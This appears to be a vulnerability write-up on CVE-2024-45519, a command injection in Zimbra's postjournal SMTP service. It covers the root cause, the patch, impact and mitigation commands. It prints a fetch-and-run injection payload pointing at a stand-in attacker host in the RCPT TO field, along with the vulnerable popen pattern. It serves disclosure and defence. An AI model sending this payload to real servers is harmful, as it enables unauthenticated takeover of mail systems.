Jan 28, 2026·6 min read·3 visits
Zimbra's `postjournal` service blindly passed SMTP recipient addresses to the system shell via `popen()`. Attackers can inject shell commands into the `RCPT TO` field, gaining instant RCE as the Zimbra user without authentication. CISA has flagged this as actively exploited. Patch immediately or disable the service.
A critical unauthenticated Remote Code Execution (RCE) vulnerability in Zimbra Collaboration Suite's postjournal service allows attackers to execute arbitrary commands via crafted SMTP inputs. By abusing the `popen()` function, attackers can turn a simple email recipient address into a shell command.
In the sprawling, often terrifying architecture of enterprise email servers, there are corners that administrators rarely look at until they catch fire. One such corner in the Zimbra Collaboration Suite (ZCS) is the postjournal service. Ostensibly, this service is designed to support email journaling—a compliance feature ensuring that copies of emails are archived for legal or regulatory reasons. It sits quietly on port 10027 (usually), waiting for SMTP connections to hand off data.
But here is the thing about compliance tools: they are often treated as afterthoughts, bolted onto the side of the main application logic. In this case, postjournal was listening for SMTP commands, parsing them, and then trying to do something useful with the recipient addresses. The problem is not what it was trying to do, but how it was doing it.
For a hacker, postjournal represents the holy grail: a network service, accessible without authentication, that processes unmanaged user input. It is the digital equivalent of a bank vault where the keypad wiring is hanging out of the wall, just waiting for someone to touch two wires together.
If you have been in security research long enough, seeing popen() in C code dealing with network input triggers a visceral fight-or-flight response. The root cause of CVE-2024-45519 is a classic Command Injection vulnerability, stemming from the developer's decision to use popen() to execute a helper utility.
When the postjournal service receives an SMTP RCPT TO command, it parses the email address provided. In the unpatched version, the code takes this email address string and concatenates it directly into a command string, which is then passed to popen(). For those uninitiated in the dark arts of C, popen() spawns a shell (/bin/sh -c) to execute the command. This means the shell is responsible for parsing the string.
This is a catastrophic design flaw. It is 2024, and we are still seeing vendors passing unsanitized user input directly to a system shell. By failing to sanitize the input or use a safer execution method (like execve), the developers essentially gave the internet a remote shell prompt. The application expects an email address like user@domain.com, but the shell does not care about expectations; it cares about syntax. If you feed it $(curl evil.com/sh|sh), it creates a subshell, executes the curl command, and pipes the output to sh, all before the main application even realizes something is wrong.
Let's look at the smoking gun. While I won't paste proprietary source code verbatim, the logic flow reconstruction paints a clear picture of the negligence involved. The vulnerable logic effectively looked like this:
// VULNERABLE LOGIC (Conceptual)
char command[1024];
char *recipient = parse_rcpt_to(smtp_buffer);
// The fatal mistake: formatting user input directly into a shell command
sprintf(command, "/opt/zimbra/bin/postjournal_map '%s'", recipient);
popen(command, "r");The fix implemented by Zimbra is textbook remediation. They moved from the lazy popen() approach to the stricter execvp() family of functions. execvp does not spawn a shell; it executes the binary directly and treats arguments as literal strings, killing the injection vector dead.
// PATCHED LOGIC (Conceptual)
char *args[] = {"/opt/zimbra/bin/postjournal_map", recipient, NULL};
// Added input sanitization
if (!is_safe_input(recipient)) {
return ERROR;
}
// Execute without invoking a shell
execvp(args[0], args);They also added is_safe_input(), a function that explicitly denies characters like ;, &, |, $, and backticks. This is a belt-and-suspenders approach: fix the execution method and sanitize the input. It is just a shame it took a critical CVE to get there.
Exploiting this requires nothing more than a standard TCP connection and knowledge of the SMTP protocol. You don't need a valid account. You don't need to bypass complex memory protections (ASLR/DEP don't matter here because we are injecting logic, not shellcode).
The attack flow is elegant in its simplicity. The attacker connects to the target on port 10027 (or wherever postjournal is hiding) and initiates an SMTP handshake. The payload is delivered inside the recipient field.
The payload <"user$(curl http://attacker.com/shell.sh|sh)"@target.domain.com> is particularly clever. The double quotes " satisfy the SMTP parser's requirement for a valid email address format (technically allowing special characters if quoted), but the underlying shell spawned by popen still interprets the $() sequence as a command substitution. The shell executes the curl command, downloads the attacker's script, pipes it to sh, and boom—you have RCE.
Make no mistake: a CVSS 10.0 isn't awarded for participation. The impact here is absolute. The command execution happens in the context of the zimbra user. While this isn't technically root, on a Zimbra server, being the zimbra user is effectively God Mode.
As the zimbra user, an attacker can:
zimbra user.Furthermore, since this service is often exposed to the internet to facilitate distributed journaling, the attack surface is massive. Shodan scans at the time of disclosure showed nearly 20,000 potentially vulnerable instances. If you are running a vulnerable version, assume you are already compromised.
If you are responsible for a Zimbra server, stop reading and start patching. The official patches (ZCS 10.1.1, 10.0.9, 9.0.0 P41, 8.8.15 P46) replace the vulnerable binary.
However, if you are stuck in change-control hell and cannot patch immediately, you must apply a workaround. The most effective kill switch is disabling the postjournal service entirely. Unless you specifically know you are using it for compliance journaling, you probably don't need it enabled.
Run the following on your Zimbra host:
# Check if you are even using it
zmlocalconfig postjournal_enabled
# Kill it with fire
zmlocalconfig -e postjournal_enabled=false
zmcontrol restartAdditionally, check your firewall rules. Port 10027 should practically never be exposed to the naked internet. Whitelist it to your internal journaling appliances if you must use it, or block it entirely from the WAN.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Zimbra Collaboration Suite Synacor | < 8.8.15 Patch 46 | 8.8.15 Patch 46 |
Zimbra Collaboration Suite Synacor | < 9.0.0 Patch 41 | 9.0.0 Patch 41 |
Zimbra Collaboration Suite Synacor | < 10.0.9 | 10.0.9 |
Zimbra Collaboration Suite Synacor | < 10.1.1 | 10.1.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 (OS Command Injection) |
| Attack Vector | Network (SMTP) |
| CVSS | 10.0 (Critical) |
| EPSS Score | 0.9414 (99.91st Percentile) |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | Active Exploitation (KEV Listed) |
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.